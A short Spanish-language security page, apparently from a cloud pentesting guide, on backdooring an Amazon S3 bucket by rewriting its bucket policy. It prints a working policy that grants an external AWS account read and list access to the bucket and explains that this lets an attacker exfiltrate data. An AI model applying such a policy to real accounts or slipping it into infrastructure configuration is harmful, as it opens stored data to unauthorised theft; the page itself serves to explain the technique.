Backdorizando un Bucket S3 utilizando la politica del Bucket

El compromiso de un bucket de S3 a través de su política de bucket implica la modificación de dicha política para permitir el acceso no autorizado al bucket. Al lograr esto, un atacante obtiene la capacidad de exfiltrar datos, comprometiendo la confidencialidad de la información almacenada. Para llevar a cabo este tipo de ataque, el atacante requeriría permisos que le permitan modificar las políticas de bucket de S3. Esto podría lograrse mediante el compromiso de credenciales de un usuario con dichos permisos o a través de una configuración incorrecta que expusiera la política de bucket a modificaciones no autorizadas.

Suponiendo que el ID de la cuenta comprometida es 10987654321 se debe poner atencion que el ID del objeto llamado AWS tiene otro valor que corresponde a una cuenta externa.

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::012345678901:root"
      },
      "Action": [
        "s3:GetObject",
        "s3:GetBucketLocation",
        "s3:ListBucket"
      ],
      "Resource": [
        "arn:aws:s3:::mybucket/*",
        "arn:aws:s3:::mybucket"
      ]
    }
  ]
}

Este código modifica la Política de Bucket para otorgar acceso a una cuenta externa de AWS especificada por el ARN arn:aws:iam::012345678901:root. A la cuenta especificada se le otorgan permisos para realizar acciones como s3:GetObject, s3:GetBucketLocation y s3:ListBucket sobre el bucket identificado por mybucket. Sin embargo, este enfoque es no conforme porque facilita el acceso no autorizado al bucket de S3, posibilitando que un atacante exfiltre datos sensibles.

Última actualización

¿Te fue útil?